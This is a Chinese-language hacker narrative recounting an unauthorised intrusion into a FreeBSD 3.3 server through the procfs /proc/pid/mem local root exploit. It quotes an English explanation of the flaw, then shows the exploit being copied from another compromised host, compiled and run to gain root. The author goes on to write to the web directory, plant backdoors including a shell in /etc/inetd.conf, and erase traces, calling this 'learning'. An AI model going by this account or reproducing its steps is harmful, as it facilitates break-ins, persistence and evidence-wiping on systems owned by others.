早在1997年在*BSD里就发现了一个致命漏洞存在于procfs可以导致本地用户夺取root <br>权限，*BSD核心中做了简单的修补，但不幸的是，时至今日，我们仍然可以通过对 <br>/proc/pid/mem的操作夺取root权限……当然，要利用这个程序拿ROOT，procfs文件系统 <br>必须是mounted的，在默认的FreeBSD3.3里是mounted着的。我们先来看看这台机器上的 <br>情况如何，别白忙一场…… <br><br># /sbin/mount <br>/dev/wd0s1a on / (local, writes: sync 12 async 134) <br>/dev/wd0s1h on /home (local, writes: sync 2 async 120) <br>/dev/wd0s1f on /usr (local, writes: sync 2 async 93) <br>/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16) <br>/dev/wd0s1e on /var (local, writes: sync 118 async 498) <br>procfs on /proc (local) <br><br>呵呵不错，看到没有那procfs on字样？看来老天帮忙了…… <br><br>一个无特权的进程A自我调用子进程B，A打开/proc/pid-of-B/mem，B执行一个setuid的 <br>二进制程序，现在B与A的euid已经不同了，但A仍然通过/proc/pid-of-B/mem的描述符控 <br>制B进程，就可能做很多事了…… <br><br>In order to stop this exploit, an additional check was added to the code <br>responsible for I/O on file descriptors referring to procfs pseudofiles. In <br>miscfs/procfs/procfs.h (from FreeBSD 3.0) we read: <br>/* <br>* Check to see whether access to target process is allowed <br>* Evaluates to 1 if access is allowed. <br>*/ <br>#define CHECKIO(p1, p2) \\ <br>((((p1)-&gt;p_cred-&gt;pc_ucred-&gt;cr_uid == (p2)-&gt;p_cred-&gt;p_ruid) &amp;&amp; \\ <br>((p1)-&gt;p_cred-&gt;p_ruid == (p2)-&gt;p_cred-&gt;p_ruid) &amp;&amp; \\ <br>((p1)-&gt;p_cred-&gt;p_svuid == (p2)-&gt;p_cred-&gt;p_ruid) &amp;&amp; \\ <br>((p2)-&gt;p_flag &amp; P_SUGID) == 0) ││ \\ <br>(suser((p1)-&gt;p_cred-&gt;pc_ucred, &amp;(p1)-&gt;p_acflag) == 0)) <br>As we see, process performing I/O (p1) must have the same uids as <br>target process (p2), unless... p1 has root priviledges. So, if <br>we can trick a setuid program X into writing to a file descriptor <br>F referring to a procfs object, the above check will not prevent <br>X from writing. As some of readers certainly already have guessed, <br>F\'s number will be 2, stderr fileno... We can pass to a setuid <br>program an appropriately lseeked file descriptor no 2 (pointing to <br>some /proc/pid/mem), and this program will blindly write there <br>error messages. Such output is often partially controllable (e.g. <br>contains program\'s name), so we can write almost arbitrary data <br>onto other setuid program\'s memory. <br><br>This scenario looks similar to <br><br>close(fileno(stderr)); execl(&xqypicsetuid-program&xqypic,...) <br><br>exploits, but in fact differs profoundly. It exploits the fact <br>that the properties of a fd pointing into procfs is not <br>determined fully by &xqypicopen&xqypic syscall (all other fd are; skipping <br>issues related to securelevels). These properties can change <br>because of priviledged code execution. As a result, (priviledged) <br>children of some process P can inherit a fd opened read-write, <br>though P can\'t directly gain such fd via open syscall. <br><br>懒得把它弄成中文的了……感兴趣则看，不感兴趣就跳过吧…… <br><br>好，那就把漏洞利用程序rcp过去吧 <br><br>&gt;rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/ <br><br>其中***.***.***.**是以前的一个倒霉蛋，/下被加了+ +的家伙…… <br><br>编译运行——可能得对程序做一些小小的更改…… <br><br>&gt;gcc pcnfs.c -o p <br>&gt;./p -4000 -10000 <br>shellcode addr=0xbfbfcd4c stack=0xbfbfaddc <br>Wait for &xqypicPress return&xqypic prompt: <br>New password: <br>Press return. <br><br><br>id <br>uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc) <br><br>wowowo!我是root啦……哈哈，也就是说，俺现在在这个系统里可以为所欲为了…… <br>再试试对/home/www目录有没有写权限吧…… <br><br>echo test&gt;/home/www/test.txt;ls /home/www│grep test <br>test.txt <br><br>呵，好了，大功告成……一般情况下做到这步后你原来修改主页的欲望就会消散了，毕 <br>竟咱们不是以破坏系统为乐的人，我们只是希望网络社会更加健康，所以——俺也没改 <br>什么东西，只是留了几个后门就bye-bye了……咱们有太多的系统可供学习，只好在这些 <br>远程机器上多学多看了——所以，留个后门还是必要的啦。 <br><br>当然擦脚印等等活还是要干的，让人发现系统曾经有人尝试过入侵究竟不是一件好事。万 <br>事OK后就可以走人了。 <br><br>这个root有重新启动系统的坏习惯，三天后我再登上系统时，发现 <br><br># id <br>uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), <br>5(operator), 20(staff), 31(guest) <br><br>呵，看来往/etc/inetd.conf里加的shell由root大人自己启动了……至于这个系统，其实它 <br>有安装防火墙软件的，要不是其中有一个用户偷懒，还是很难入侵成功的……希望这对国内 <br>的管理员也是一个警示吧，因为国内的网络安全状况实在还是不容乐观…… <br><br>================================================================================= <br><br>本文出自http://focus.silversand.net；如要转载请注明出处。 <br>我水平较菜，请高手多指点，mailto:quack@antionline.org <br><br>